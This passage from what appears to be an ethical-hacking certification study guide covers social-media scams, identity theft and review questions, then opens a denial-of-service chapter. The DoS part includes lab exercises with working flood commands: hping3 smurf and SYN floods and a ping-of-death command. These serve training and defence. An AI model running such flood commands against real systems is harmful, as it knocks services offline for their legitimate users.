insatiable desire for information regarding celebrities or public figures.
I’m Stranded in a Foreign Country—Please Send Money. These types of scams
target users by claiming that the message is from someone the user knows who is trapped
without money in a foreign country or bad situation. The scammer says they will gladly
pay the person back when they get home. Once the victim’s trust is heightened to the
point of sending money, the scammer comes up with plausible reasons to ask for
increasingly larger amounts, eventually fleecing the victim for much greater sums.
Did You See This Picture of J-Lo? Both Facebook and Twitter have been plagued by
phishing scams that involve a question that piques your interest and then directs you to a
fake login screen, where you inadvertently reveal your Facebook or Twitter password.
The Case of Anna Kournikova
A good example of this type of attack is the Anna Kournikova computer worm from
2001. This worm lured victims by promising nude pictures of the popular model and
tennis star, but when users opened the attachment, they executed a computer worm.
The worm forwarded the message to everyone in the victim’s Outlook address book
and started the process all over again.
Interestingly, the worm and its delivery mechanism were created with a pre-made
malware maker downloaded from the Internet.
Test Your IQ. This type of scam attracts you with a quiz. Everybody loves quizzes. After
you take the quiz, you are encouraged to enter your information into a form to get the
results. In other cases, the scam encourages you to join an expensive text-messaging
service, but the price appears only in extremely small print.
Tweet for Cash! This scam takes many forms. “Make money on Twitter!” and “Tweet for
profit!” are two common come-ons that security analysts say they’ve seen lately.
Obviously, this scam preys on users’ greed and curiosity, but in the end they lose money
or their identities.
Ur Cute. Msg Me! The sexual solicitation is a tactic spammers have been trying for
many years via email and is one that has proven wildly successful. In the updated version
of this ruse, tweets feature scantily clad women and include a message embedded in the
image, rather than in the 140-character tweet itself.
Amber Alert Issued!! This one is not so much a scam as it is a hoax. Amber alerts are
pasted into status updates that turn out to be untrue. Although such attacks don’t gain
information, they are designed to cause panic and concern as well as increase traffic
among recipients.
Countermeasures for Social Networking
Because social networking exploded in popularity so quickly, companies and individuals
had little time to deal with the problems the technology brought to bear. Surveys taken a
few years ago found that many companies either did not have a policy in place regarding
social networking or were unaware of the risks. Recently, however, people are slowly
starting to become aware of how big the danger is and that they need to take steps to
protect themselves. Company policies should touch on appropriate use of social media
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and networking sites at work as well as the kind of conduct and language an employee is
allowed to use on the sites.
Currently about 75 percent of companies have implemented a social-networking policy;
the rest have either suggested doing so or are not doing anything. Many individuals and
companies have been burned or heard about someone else getting burned and have
decided to do something about the issue.
Social networking can be used relatively safely and securely as long as it is used carefully.
Exercising some basic safety measures can substantially reduce the risk of using these
services. As an ethical hacker and security professional, consider recommending and
training users on the following practices:
Discourage the practice of mixing personal and professional information in socialnetworking situations. Although you may not be able to eliminate the company
information that is shared, it should be kept to a bare minimum.
Always verify contacts, and don’t connect to just anyone online. This is a huge
problem on many social media networks; users frequently accept invitations from
individuals they don’t know.
Avoid reusing passwords across multiple social-networking sites or locations to avoid
mass compromise.
Don’t post just anything online; remember that anything you post can be found,
sometimes years later. Basically, if you wouldn’t say it in a crowded room, don’t put it
online.
Avoid posting personal information that can be used to determine more about you,
impersonate you, or coax someone to reveal additional information about you.
One very effective way that I have found to illustrate just how dangerous
social media can be and the role it could play in successful social engineering attacks
is Echosec. This service (located at www.echosec.net) draws information from
several social network sites and cross-references them with geographic information
to place social media posts in a specific location. Querying a location on the map with
this service (or querying by keyword or other criteria) will reveal a tremendous
amount of information. In many cases those who see how easy this information is to
access with this tool are dumbstruck at the volume and detail it reveals.
To avoid problems with social networking, a company should exercise many different
countermeasures. As a pentester, consider recommending the following techniques as
ways to mitigate the threat of social-engineering issues via social networking:
Educate employees against publishing any identifying personal information online,
including phone numbers; pictures of home, work, or family members; or anything
that may be used to determine their identity.
Encourage or mandate the use of non-work accounts for use with social media and
other types of systems. Personal accounts and free-mailers such as Gmail and Yahoo!
should be used in order to prevent compromise later on.
Educate employees on the use of strong passwords like the ones they use, or should be
using, in the workplace.
Avoid the use of public profiles that anyone can view. Such profiles can provide a
wealth of information for someone doing research or analysis of a target.
Remind users of such systems that anything published online will stay online, even if
it is removed by the publisher. In essence, once something is put online, it never goes
away.
Educate employees on the use of privacy features on sites such as Facebook, and take
the initiative in sending out emails when such features change.
Instruct employees on the presence of phishing scams on social networks and how to
avoid and report them.
Remember, it is always better to be safe than sorry when it comes to
deciding what information you feel comfortable sharing with others. There are
loopholes and drawbacks to every system, and even though you employ strong
security settings and limit access to your profiles, someone may still gain access to
that information. So, never include any contact information in a profile. If you’re
using social media for business purposes, make sure the contact information consists
of addresses and phone numbers that are generic for the company, and use extreme
caution when distributing a direct line to people with whom you have not yet
developed a personal relationship. Hackers and identity thieves are skilled at what
they do, and it is your responsibility to defend against them. Make sure you
understand the security and privacy settings for your Facebook and other online
accounts.
Commonly Employed Threats
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Many threats will continue to pose problems for those using the Internet, and unless you
opt to stop using this resource, you must address the threats. This section explores
threats targeted toward human beings and the weaknesses of human nature.
What type of threats target users and prey on human nature? The following are just a
few:
Malware This can be used as an all-inclusive term for viruses, spyware, keyloggers,
worms, Trojan horses, and other Internet threats. However, narrowing this down to social
engineering means that we are talking about Trojan horses.
Shoulder Surfing This type of attack takes place when one party is able to look over
another’s shoulder or spy on another’s screen. This is common in environments of every
type, because when you see other people watching what you are doing, you attribute it to
normal human curiosity and think little of it.
Eavesdropping This involves listening in on conversations, videos, phone calls, emails,
and other communications with the intent of gathering information that an attacker
would not otherwise be authorized to have.
Dumpster Diving One man’s trash is another man’s treasure, and an attacker may be
able to collect sensitive or important information from wastebaskets and other collection
points and use it to perform an attack. In practice, such information should be shredded,
burned, or otherwise destroyed to avoid it being intercepted by an attacker.
Phishing Phishing uses a legitimate-looking email that entices you to click a link or visit
a website where your information will be collected. This is a common attack and is very
effective, even though this technique has been around for more than a decade and
multiple warnings and advisories have been published, telling users what to look out for.
Although many companies implement technology, administrative policies, and physical
measures to stop social-engineering attacks, prevention still comes down to human
beings. They are in many cases on the front lines, watching for an attack. Measures that
can help defeat technology-related attacks include the following:
Installing a Modern Web Browser As the main portal to the world of the Internet,
your browser must be as safe and secure as possible. Being safe and secure means at least
two things: Use the most current browser, and keep the browser up to date. Additionally,
avoid unnecessary plug-ins and add-ons that clutter the browser and may weaken it. Most
modern web browsers include features that protect against social-engineering attacks like
phishing and bogus websites.
Out with the Old and In with the Chrome
In January 2014, in an effort to reduce support costs and other issues, the website
nursingjobs.com decided to take the unusual step of buying new Chromebooks for
their older users who had legacy software and hardware. The company issued the
following statement:
IE7 users make up 1.22% of our traffic right now, and this will decline as more
computers are upgraded and can use modern browsers. However, we know that
some of our clients are still stuck with IE7 so we decided to make a bold offer, one
that initially seemed crazy to us but now makes a lot of sense.
We are offering to buy a new computer with a modern browser for any of our
customers who are stuck with IE7. We determined that it would cost us more to
support a browser from 2006 in 2014 and beyond than it would to help our clients
upgrade their legacy hardware.
In addition to the support costs of offloading a browser from 2006, nursingjobs.com
is also avoiding the costs associated with security issues that may arise from the use
of an older and unsupported browser. Although such a move may not be an option
for your company, it shows a unique approach to the problem of legacy equipment.
Using a Pop-up Blocker A modern browser recognizes potentially dangerous pop-ups,
lets you know when it blocks a pop-up, and offers the option to selectively block each popup as needed.
Heeding Unsafe Site Warnings If you go to a website that is fraudulent, untrusted, or
has known security problems, the browser should prevent the site from loading.
Integrating with Antivirus Software Your browser should work with a resident
antivirus program to scan downloaded files for security threats.
Using Automatic Updates Modern browsers typically update themselves to
incorporate fixes to flaws in the software and to add new security features.
Private Browsing This feature has become a staple of newer browsers, including all the
popular browsers such as Chrome, Internet Explorer, Firefox, and others. This mode
prevents the saving of specific types of information in the browser such as search history
as well as preventing certain behavior from being observed.
Changing Online Habits No software can compensate for poor Internet safety habits.
Tools can help, but they cannot stop you from acting recklessly or carelessly online.
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Take a moment to think about this last point and its value to you as an
ethical hacker. The average person parts with enormous amounts of information
nowadays through social networking and other means. Many users of socialnetworking features think nothing of posting or providing information that would be
dangerous if it fell into the wrong hands.
Some common methods you should consider educating your user base or clients about
should include the following at the very least.
Exercise caution on unsecured wireless networks. The free Wi-Fi access at the coffee
shop down the street could cost you plenty if it is unsecured and open to the world. An
unsecured connection is an open network that allows anyone to connect. Information
passed from a laptop to the wireless router and vice versa can be intercepted by people
with the right tools because it is not encrypted. In addition, network attacks can be
made from other computers connected to the network.
As you learned in our exploration of wireless networks, you should always
assume on public networks or unknown networks that someone may be listening.
This assumption, although it may be untrue in many cases, will shape your thinking
toward being more cautious with the information you’re accessing on these
networks.
Be careful accessing sensitive information in a public place. Even on a secured
connection or a VPN, people can see what you type on a laptop screen. You may reveal
sensitive information to a person walking by with a camera phone while you do your
online banking. The same is true in an office, where a nosy coworker peering over a
cubicle wall or an unscrupulous network administrator spying on a workstation can
snag a password.
Don’t save personal information casually on shopping websites. Most shopping sites
offer to save a credit card and address information for easier checkout in the future.
Although the information is supposedly secure, many thefts of such information have
occurred recently.
Be careful about posting personal information. People love to chat and share or post
the details of their personal lives on social-networking sites such as Facebook. They
give the public access to their information and then complain about privacy issues.
Keep your computer personal. Internet browsers such as Internet Explorer and
Mozilla Firefox make it easy to store passwords and form information. Anyone who
opens such a web browser can check the browsing history, visit secure sites, and
automatically log in as you, if you opt to have the browser save your password. Avoid
storing passwords—or, better yet, password-protect your computer and lock it when
not in use. Make a second account on a computer for other people to use so
information is kept separate, and make sure that account is password-protected and
not given high-level access such as that available to an administrator.
Also consider that when you upgrade a browser to a newer version, some
provide an extensive library of plug-ins, extensions, and add-ons that can make the
browser more secure than it would be on its own. For example, a browser such as
Chrome offers extensions like Ghostery, Adblock Plus, AVG Antivirus, and others.
Over the last couple of years, some of the more insecure browser plugins have even
been discontinued or plans to do so have been announced. Plugins such as the
popular Adobe Flash and Oracle’s Java have both recently announced that they are to
be phased out or killed off completely.
Identity Theft
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One of the most prominent and rapidly evolving threats is identity theft, which falls
under the heading of social engineering. According to the Federal Trade Commission, in
the United States, identity theft is one of the most rapidly growing crimes over the last
few years; thus, the public needs to be extra vigilant and protect their information from
this form of attack.
Once in possession of information, an identity thief has plenty of options available to
them, depending on their particular goals. Thieves have been known to run up charges on
credit cards, open new accounts, get medical treatment, or secure loans under the victim’s
name.
Some signs of identity theft include the following:
You see withdrawals from your bank account that you can’t explain.
You don’t get your bills or other mail.
Merchants refuse your checks.
Debt collectors call you about debts that aren’t yours.
You find unfamiliar accounts or charges on your credit report.
Medical providers bill you for services you didn’t use.
Your health plan rejects your legitimate medical claim because the records show
you’ve reached your benefits limit.
A health plan won’t cover you because your medical records show a condition you
don’t have.
The IRS notifies you that more than one tax return was filed in your name or that you
have income from an employer you don’t work for.
You get notice that your information was compromised by a data breach at a company
where you do business or have an account.
Protective Measures
As the world moves away from brick and mortar to online operators, protecting yourself
from online fraud becomes vital. More and more people access their banks online than
ever before or work with other types of sensitive information.
In many cases, the only thing standing between someone and your money is a four- to
six-digit number or a word or combination of words. To help you access your account if
you forget your password, many sites let you set up security questions based on a few
predetermined facts about yourself. But anyone else who knows the answers can access
the account, too. And with the proliferation of Facebook, obtaining those answers is no
longer a problem!
Although some sites are moving away from the practice, it is not
uncommon to run into websites that use standardized questions to assist users in
gaining access if they lose their password. Questions such as your mother’s maiden
name, the name of a childhood friend, your girlfriend’s or boyfriend’s name, and
others are often used. The problem is that this information can be easily obtained
using the footprinting techniques you learned about earlier in this book.
To thwart attackers, websites have started to use passphrases and custom questions
to strengthen security. In the latter case, users can enter their own questions along
with the appropriate answers, making it possible to use questions that can’t be easily
answered by an attacker.
For example, in recent years Sarah Palin’s email account was hacked, and Paris Hilton’s
personal accounts and cell phone were hacked and photos posted online. Technically, they
weren’t hacked in the sense of someone attacking the system and breaking in—rather,
they had security questions that could easily be researched from publicly available
sources. The answers were available to anyone who bothered to use Google. You may not
be a celebrity, but once your personal information is online, it’s not personal anymore.
Know What Information Is Available
If you have Googled yourself, you’ve learned firsthand what is available about you online,
but you probably missed quite a bit. If you haven’t done so already, try Googling yourself:
See what types of information are available, and note the level of detail that can be found.
Note whether any of the information gives clues about your background, passwords,
family, or anything else that can be used to build a picture of who you are.
Sites that may contain personal information include these:
Spokeo
Facebook
Myspace
LinkedIn
Intellius
ZabaSearch
People Search
Shodan
There are tools that reveal more about a victim or target than a Google search does. Some
companies mine, analyze, and sell this data for a few dollars without regard to who may
be requesting the information or how it may ultimately be used. By combining
information from multiple sources using social engineering and footprinting techniques,
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you can paint a pretty good picture of an individual, up to and including where they live in
many cases.
One of the tools on this list, Intellius, is a great example of how accessible personal
information may be. For less than $30 per month, you can subscribe to this service and
look up as many individuals as you desire. In some cases, your search may yield multiple
results (for example, if a person’s last name is Smith or Jackson), but this can easily be
addressed by using information from the other sources on this list to narrow the search
results. Using Intellius, I was able to use information from the Facebook and LinkedIn
profiles of friends and family to fine-tune the results.
Summary
Millions of people are engaging online via Facebook, Twitter, Foursquare, and other
social-networking sites. Social networking is both fun and dangerous at the same time, as
well as extremely addictive—some users update every time they eat a meal or go to the
restroom. Although the technology allows for greater connectivity and convenience in
communicating by allowing people to stay in touch online, share fun moments, talk to
their beloved, and exchange personal content online, there are dangers that could lead to
disaster.
Social-networking sites are a huge target for cyber-criminals who are looking for
information to steal and identities to pilfer. They abuse the open nature of these sites and
gather personal information about users—information that isn’t hidden but is provided
readily by those users. Using this information, an attacker can coerce or trick you into
revealing data that you would not otherwise reveal. This is yet another example of social
engineering. For example, you may open up when someone you don’t know talks to you
with familiarity, because they stole information from your profile that helps them
convince you that you know them.
Even worse, these sites are very popular with young people and adults alike. For young
people in particular, social-networking sites can combine many of the risks associated
with being online: online bullying, disclosure of private information, cyber-stalking,
access to age-inappropriate content, and, at the most extreme, child abuse.
Companies have come to realize that they need to train their rank and file about what
they can and cannot share as well as blocking social-networking sites altogether. Some
companies have even gone a step further, telling employees that they cannot talk about
the company at all online.
Even bigger of an issue than social networking is the problem of social engineering. The
targeting of individuals working in or with a company presents a potentially great source
of information for an attacker. Exploiting the trust of a human being combined with
techniques such as coercion and other methods can yield a wealth of data.
Exam Essentials
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Remember that human beings represent the weak spot in many organizations.
Human beings, if not properly trained and educated, can easily lessen security.
Understand human nature. It’s important to know how attackers mold and shape
human nature as well as how to spot aspects of human nature that can work against
security.
Know about technology fixes. Technology such as anti-spyware and anti-malware
tools can mitigate some social-engineering attacks.
Know preventive measures. Know the preventive measures available to avoid socialengineering attacks and the actions each one takes to prevent attacks.
Review Questions
1. Phishing takes place using __________.
A. Instant messaging
B. Email
C. Websites
D. Piggybacking
2. Training and education of end users can be used to prevent __________.
A. Phishing
B. Tailgating/piggybacking
C. Session hijacking
D. Wireshark
3. Social engineering can be thwarted using what kinds of controls?
A. Technical
B. Administrative
C. Physical
D. Proactive controls
4. Social engineering preys on many weaknesses, including __________.
A. Technology
B. People
C. Human nature
D. Physical
5. Social engineering can use all the following except __________.
A. Mobile phones
B. Instant messaging
C. Trojan horses
D. Viruses
6. Social engineering is designed to __________.
A. Manipulate human behavior
B. Make people distrustful
C. Infect a system
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D. Gain a physical advantage
7. Phishing can be mitigated through the use of __________.
A. Spam filtering
B. Education
C. Antivirus
D. Anti-malware
8. Which mechanism can be used to influence a targeted individual?
A. Means of dress or appearance
B. Technological controls
C. Physical controls
D. Training
9. Jennifer receives an email claiming that her bank account information has been lost
and that she needs to click a link to update the bank’s database. However, she doesn’t
recognize the bank, because it is not one she does business with. What type of attack
is she being presented with?
A. Phishing
B. Spam
C. Whaling
D. Vishing
10. What is the best option for thwarting social-engineering attacks?
A. Technology
B. Training
C. Policies
D. Physical controls
11. Janet receives an email enticing her to click a link. But when she clicks this link she is
taken to a website for her bank, asking her to reset her account info. However, Janet
noticed that the bank is not hers and the website is not for her bank. What type of
attack is this?
A. Whaling
B. Vishing
C. Phishing
D. Piggybacking
12. Jason receives notices that he has unauthorized charges on his credit card account.
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What type of attack is Jason a victim of?
A. Social engineering
B. Phishing
C. Identity theft
D. Bad luck
13. A security camera picks up someone who doesn’t work at the company following
closely behind an employee while they enter the building. What type of attack is
taking place?
A. Phishing
B. Walking
C. Gate running
D. Tailgating
14. What is a vulnerability scan designed to provide to those executing it?
A. A way to find open ports
B. A way to diagram a network
C. A proxy attack
D. A way to reveal vulnerabilities
15. In social engineering a proxy is used to __________.
A. Assist in scanning
B. Perform a scan
C. Keep an attacker’s origin hidden
D. Automate the discovery of vulnerabilities
16. Social engineering can be used to carry out email campaigns known as __________.
A. Spamming
B. Phishing
C. Vishing
D. Splashing
17. Human beings tend to follow set patterns and behaviors known as __________.
A. Repetition
B. Habits
C. Primacy
D. Piggybacking
18. When talking to a victim, using __________ can make an attack easier.
A. Eye contact
B. Keywords
C. Jargon
D. Threats
19. An attacker can use which technique to influence a victim?
A. Tailgating
B. Piggybacking
C. Name-dropping
D. Acting like tech support
20. Jason notices that he is receiving mail, phone calls, and other requests for
information. He has also noticed some problems with his credit checks such as bad
debts and loans he did not participate in. What type of attack did Jason become a
victim of?
A. Social engineering
B. Phishing
C. Identity theft
D. Bad luck
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Chapter 11
Denial of Service
CEH EXAM OBJECTIVES COVERED IN THIS CHAPTER:
III. Security
E. Network security
P. Vulnerabilities
This chapter will give you a firm understanding of what constitutes a
denial-of-service (DoS) attack, the tools and methods used to deploy it, and strategies
used to defend against such attacks. DoS is one of the most interesting methodologies
employed by the hacking community because of its dramatic impact on the targeted
victim and the widely varied base of tools used to launch the attack. In addition, the
means of successfully launching a DoS attack are many, but the result is essentially the
same; as an attacker, you try to completely remove the availability of the targeted
resource. As you progress through the sections of this chapter, remember your focus
when exploring DoS in all its variations. Your goal is to remove the A from the
Confidentiality, Integrity, and Availability triad.
Understanding DoS
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Denial of service is an attack that aims at preventing normal communication with a
resource by disabling the resource itself or by disabling an infrastructure device providing
connectivity to it. The disabled resource could be in the form of customer data, website
resources, or a specific service, to name a few. The most common form of DoS is to flood
a victim with so much traffic that all available resources of the system are overwhelmed
and unable to handle additional requests. The attacker floods the victim network with
extremely large amounts of useless data or data requests, thereby overwhelming the
network and rendering it useless or unavailable to legitimate users.
So what are the signs of a potential DoS attack? Here are a few that may indicate that a
DoS attack is in effect:
Unavailability of a resource
Loss of access to a website
Slow performance
Increase in spam emails
Be cautious with the warning signs. As with anything in this book, you will
need to do further examination to determine if you have a genuine attack on your
hands or just a localized network issue.
Typical victims of DoS attacks range from government-owned resources to online vendors
and others, and the intent of the attack is usually the deciding factor in terms of which
target will be engaged. Consider a few simple examples to give you an idea of the impact
of a successful DoS attack. From a corporate perspective, the focus is always on the
bottom line. A successful DoS attack against a corporation’s web page or availability of
back-end resources could easily result in a loss of millions of dollars in revenue
depending on company size. Also, consider the negative impact to the brand name and
company reputation. As you can see, the impact of a single DoS attack with specific
directed intent can prove extremely damaging to the victim on many different levels.
Another theme that pervades DoS attacks, as well as other attack forms, is hackers who
take action against a target based on principle or a sense of personal mission, which is
known as hacktivism. Hacktivists are a particularly concerning threat because their focus
is not necessarily on personal gain or recognition; their success is measured by how much
their malicious actions benefit their cause. This thought process ties in nicely with DoS
attacks in that the message being sent can be left up to interpretation or, more commonly,
be claimed by a group or individual.
WikiLeaks
When notorious hacker and activist Julian Assange released confidential information
from the U.S. government through his website WikiLeaks, the response was
deafening. While the information proved embarrassing to the United States, there
were other repercussions.
Because of the leak, several financial institutions such as MasterCard, Visa, and
PayPal stopped taking donations for WikiLeaks. In response to this closing of
accounts and hindrance of the flow of money to the organization, several of these
and other financial services had their websites targeted by DoS attacks. Customers
and the companies themselves were unable to access their own websites and were
crushed by the flow of traffic.
Ultimately, the companies were not only able to turn back the tide on these attacks
but harden themselves as well. A statement had been made. Hackers had shown that
with some cooperation and a little planning they could quickly organize an attack and
take down a substantial target.
DoS attacks have also become extremely popular with cybercriminals and organized crime
groups. These groups have organized themselves into complex hierarchies and structures
designed to coordinate and magnify the effects of the attack. In addition, the groups use
their organization to sometimes enact extortion schemes or to set up other moneymaking
schemes. In yet other situations, these groups have been known to create botnets (which
we’ll discuss later in this chapter) that they can later rent out for a price to any party who
wants them.
DoS attacks are categorized as one of those “can happen to anyone”
realities. As the saying goes, the world’s most secure computer is one that stays in
the box and is never turned on. Unfortunately, that is not a practical solution for the
real world; part of your focus as a CEH is to find that balance between security and
availability.
DoS Targets
DoS attacks result in a multitude of consequences. Let’s look at some common examples
of what is seen in the real world and what you’ll most likely see on the exam:
Web Server Compromise A successful DoS attack and subsequent compromise of a
web server constitutes the widest public exposure against a specific target. What you see
most often is a loss of uptime for a company web page or web resource.
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Back-End Resources Back-end resources include infrastructure items that support a
public-facing resource such as a web application. DoS attacks that take down a back-end
resource such as a customer database or server farm essentially render all front-end
resources unavailable.
Network or Computer Specific DoS attacks are also launched from within a local area
network, with intent to compromise the network itself or to compromise a specific node
such as a server or client system. Various tools and methods for launching a DoS attack
against a client or network are discussed further in this chapter.
Types of Attacks
DoS attacks come in many flavors, each of which is critical to your understanding of the
nature of the DoS attack class.
For the exam you need to be extremely familiar with each of the forms
denial of service can take as well as how they differ. Although this is not hard to do, it
can be a little tricky.
Service Request Floods
In this form of DoS attack, a service such as a web server or web application is flooded
with requests until all resources are used up. This would be the equivalent of calling
someone’s phone over and over again so they could not answer any other calls due to
their being occupied. When a single system is attacking another, it is tough to overwhelm
the victim, but it can be done on smaller targets or unprepared environments.
Service request floods are typically carried out by setting up repeated TCP connections to
a system. The repeated TCP connections consume resources on the victim’s system to the
point of exhaustion.
SYN Attack/Flood
This type of attack exploits the three-way handshake with the intention of tying up a
system. For this attack to occur, the attacker will forge SYN packets with a bogus source
address. When the victim system responds with a SYN-ACK, it goes to this bogus address,
and since the address doesn’t exist, it causes the victim system to wait for a response that
will never come. This waiting period ties up a connection to the system because the
system will not receive an ACK.
When this attack is carried out on a system with a default setup, it may
cause it to be tied up for 75 seconds at a time before it assumes the party isn’t coming
back. If the attacker can open enough of these half-open connections and do it
rapidly, they can keep the system out of service.
ICMP Flood Attack
An ICMP request requires the server to process the request and respond, thus consuming
CPU resources. Attacks on the ICMP include smurf attacks, ICMP floods, and ping floods,
all of which take advantage of this situation by flooding the server with ICMP requests
without waiting for the response. Exercise 11.1 demonstrates how to use hping to initiate
a smurf attack.
EXERCISE 11.1
ICMP Flood with hping
In this exercise you will use hping to perform a smurf attack.
At the Linux command prompt type:
hping3 -1 –flood -a 192.168.2.100
In this command hping3 spoofs broadcast packets to the target, which in this case is
192.168.2.100.
Ping of Death
A true classic indeed, originating in the mid- to late-1990s, the ping of death was a ping
packet that was larger than the allowable 64 K. Although not much of a significant threat
today due to ping blocking, OS patching, and general awareness, back in its heyday the
ping of death was a formidable and extremely easy-to-use DoS exploit. Exercise 11.2
demonstrates how to perform a ping of death in Windows.
EXERCISE 11.2
Performing a Ping of Death
In this exercise you will use ping to perform a ping of death attack.
To perform a ping of death in Windows use the following command:
ping -l 65540 <hostname or IP>
Teardrop
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A teardrop attack occurs when an attacker sends custom-crafted fragmented packets with
offset values that overlap during the attempted rebuild. This causes the target machine to
become unstable when attempting to rebuild the fragmented packets.
Smurf
A smurf attack spoofs the IP address of the target machine and sends numerous ICMP
echo request packets to the broadcast addresses of intermediary sites. The intermediary
sites amplify the ICMP traffic back to the source IP, thereby saturating the network
segment of the target machine.
Fraggle
A fraggle attack is a variation of a smurf attack that uses UDP echo requests instead of
ICMP. It still uses an intermediary for amplification. Commonly a fraggle attack targets
the UDP echo requests to the chargen (character generator) port of the intermediary
systems via a broadcast request. Just as in a smurf attack, the attacker spoofs the victim’s
IP address as the source. Each client that receives the echo to the chargen port will in turn
generate a character to be sent to the victim. Once it’s received, the victim machine will
echo back to the intermediary’s chargen port, thus restarting the cycle.
Land
A land attack sends traffic to the target machine with the source spoofed as the target
machine itself. The victim attempts to acknowledge the request repeatedly with no end.
Permanent DoS Attacks
Most DoS attacks are temporary and only need to be stopped, and any mess they created
cleaned up to put everything back the way it was. However, some types of DoS attacks
destroy a system and cause it to become permanently offline.
Phlashing is a form of permanent DoS that involves pushing bogus or incorrect updates
to a victim system’s firmware. When this is done, the hardware becomes unusable in
many cases and must be replaced. When a system is attacked in such a manner, it is said
to be bricked. In other words, it is worthless as a computer and now is a brick.
Application-Level Attacks
Application-level attacks are those that result in a loss or degradation of a service to the
point it is unusable. These attacks can even result in the corruption or loss of data on a
system. Typically these types of attacks take the form of one of the following:
Flood This attack overwhelms the target with traffic to make it difficult or impossible to
respond to legitimate requests.
Disrupt This attack usually involves attacking a system with the intention of locking out
or blocking a user or users—for example, attempting to log in to a system several times to
lock up the account so that the legitimate user cannot use it.
Jam In this attack, typically the attacker is crafting SQL queries to lock up or corrupt a
database. We’ll discuss jam attacks in Chapter 14, “SQL Injection.”
See Exercise 11.3 on how to perform a SYN flood.
EXERCISE 11.3
Performing a SYN Flood
Let’s go through a quick example of a SYN flood attack using hping 2 or hping3.
hping3 is a Linux utility used to craft custom packets such as packets that have
specific flags activated. Refer to Chapter 5, “Scanning,” for a review of TCP flags. Let’s
get started.
1. You’ll monitor your traffic via your Wireshark installation on your Windows 7
installation. Your Windows 7 box will also be your target unit. First, start the
sniffer.
2. Once you have your monitoring system sniffing the wire and your target system
ready to be flooded, you can start the flood via your Kali box. Open a new terminal
window and take a look at the main page for hping3.
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3. Don’t let all the options overwhelm you. You’re interested in only a few for this
exercise. In the command syntax shown here, you use hping3 to flood SYN
packets to port 80 on IP 192.168.1.2.
Note how logical the syntax is in the hping3 utility. Use what you know
as clues for what a command means or is intended to do. For example, use -p for
port since 80 is a common port, and use –S as a SYN flag indicator using the
context clue of the –flood option.
4. Next, execute the command and capture the traffic to see the effects. Notice the
CPU usage of 100% in the Task Manager window. The background Wireshark
application, which is frozen, has nothing but SYN requests coming in.
5. Go back to your Kali terminal window and terminate the command using Ctrl+C.
Notice how many packets have been sent out in a short period of time. Are you
wondering why there were no replies?
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Buffer Overflow
Buffer overflow is a DoS technique that takes advantage of a flaw in a program’s coding
by inputting more data than the program’s buffer, or memory space, has room for. Once
the buffer of a program is in overflow state, all further input that is written to the buffer
can have negative consequences, such as crashes, security issues, or other problems. As
with many DoS attacks, the intent is to place the program or system in an unpredictable
or unexpected state. This ties in with buffer overflow in that once a program is in an
unexpected state, the potential for a DoS condition is extremely high.
Some C functions do not perform bounds checking, which means they are
prime candidates for allowing a buffer overflow to occur. Be on the lookout for
gets(), scanf(), strcpy(), and strcat() functions. Any of these in the code should
make you suspect a buffer overflow condition could occur.
The Heap and the Stack
The stack and the heap are two areas of memory a program uses for storage:
Heap The heap is a dynamic storage location that does not have sequential constraints or
an organizational scheme. It is considered the larger pool of free storage for programs to
use as needed. Once the dynamic memory space is no longer needed and the program has
retrieved the needed data, the occupied space in the heap is freed up for future use.
Stack The stack refers to the smaller pool of free storage: memory allocated to a program
for short-term processing. This is the main action area, where program variables are
temporarily stored, added, and removed as needed to perform a specific function. The
name stack comes from the fact that accessing its resources is similar in function to the
way you access information from a stack of dominos, for instance. You can see the value
of the top domino, you can remove a domino from the top, and you can stack another
domino on top. If you pull the bottom or middle domino from the stack, the whole pile
comes tumbling down. Thus, you are limited to manipulating the stack from the top
down. This is how a program stack operates as well. Another name for this kind of access
is last-in, first-out (LIFO). The last item to be stacked is the first item to be removed. In
programming lingo, the term push is used to describe adding a new item to the stack, and
pop describes removing an item. So, if a program wants to add to or remove something
from the stack, it uses the push and pop actions accordingly, and it does so in a linear topto-bottom fashion. Take a look at Figure 11.1 to get a quick visual of a basic program stack.
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Figure 11.1 Basic program stack
Figure 11.1 is a simplified version of a program stack. To understand
buffer overflows and how they play into DoS attacks, you only need to understand
the basic sequence and functions. For an excellent tutorial, Google “Smashing the
Stack for Fun and Profit.”
The key takeaway from this is to understand how the stack can be “overflowed” and thus
create a DoS condition within the program or system. Knowing the basics of how the
stack is used gives you insight into how it might be compromised.
Now that you are familiar with the heap and the stack, let’s go over some key concepts
that will be important for passing the exam, as well as for understanding the operation of
a successful DoS attack via buffer overflow:
Smashing the Stack “Smashing” the stack refers to the use of buffer overflow to
compromise the stack integrity and gain program-level access for running malicious code.
Refer back to the basic program stack in Figure 11.1; smashing the stack modifies normal
stack operation by submitting excess data to the stack, surpassing its normal bounds (if
left unchecked). The excess data overwrites legitimate variables in the stack and resets
the saved Extended Instruction Pointer (EIP) value to point to the injected malicious
code. Figure 11.2 shows this process.
Figure 11.2 Smashing the stack
Figure 11.2 deserves just a bit more explanation, because it may look a little confusing at
this point. Let’s take it one piece at a time. Underlying the 0x90 block (which will be
discussed in “NOP Sled” in a moment) is the basic program stack from Figure 11.1.
Remember that Figure 11.1 represents normal operation, where the program’s variables
and stored data all stay within normal memory bounds, which is between the stack
pointer (the top of the stack) and the bottom of the stack. The 0x90 overlay in Figure 11.2
represents the overflow portion that has been applied, or pushed onto the normal stack.
The excess data, which has far surpassed the stack limit, has put the stack in an overflow
condition. Once this is achieved, the program’s reference point for the next legitimate
instruction execution has been shifted up into the attacker’s overflowed code. At this
point, the program executes the attacker’s malicious code with privileges identical to
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those of the original legitimate program. And if you are ready to throw this book in the
trash and give up your quest to become a CEH, rest assured you will not have to
regurgitate this paragraph for the exam. We are aiming for reference and understanding,
so keep going and stick this stuff in your mental file cabinet for later retrieval.
Don’t be overwhelmed by the code and lingo. Remember, as a CEH your
interest lies in understanding only what you need in order to achieve the desired
effect on the system or program. Understand the process and terms, and you’ll be
fine.
NOP Sled NOP sled refers to shellcode (machine code) used in a buffer overflow attack
that uses multiple “No Operation” commands in a sequenced chunk. NOP by itself stands
for “No Operation”; thus it follows that a NOP sled is a large sequence of no operation
function calls. The value 0x90, which you saw in Figure 11.2, is the hexadecimal value of a
NOP instruction as it applies to Intel processors; therefore, a NOP instruction with a
value of 0x90 will instruct an Intel processor to perform a one-clock cycle on an empty
process. In plain English, 0x90 will force an Intel CPU to dry-fire a single cycle. Now, take
a series of 0x90 values, as you saw in Figure 11.2, and you have a fairly large “padding” on
the stack that can set the stage for the execution of malicious code.
The value 0x90 is a near dead giveaway for a buffer overflow exploit. Watch
for the 0x90 value, because it may be hiding among other values and processes.
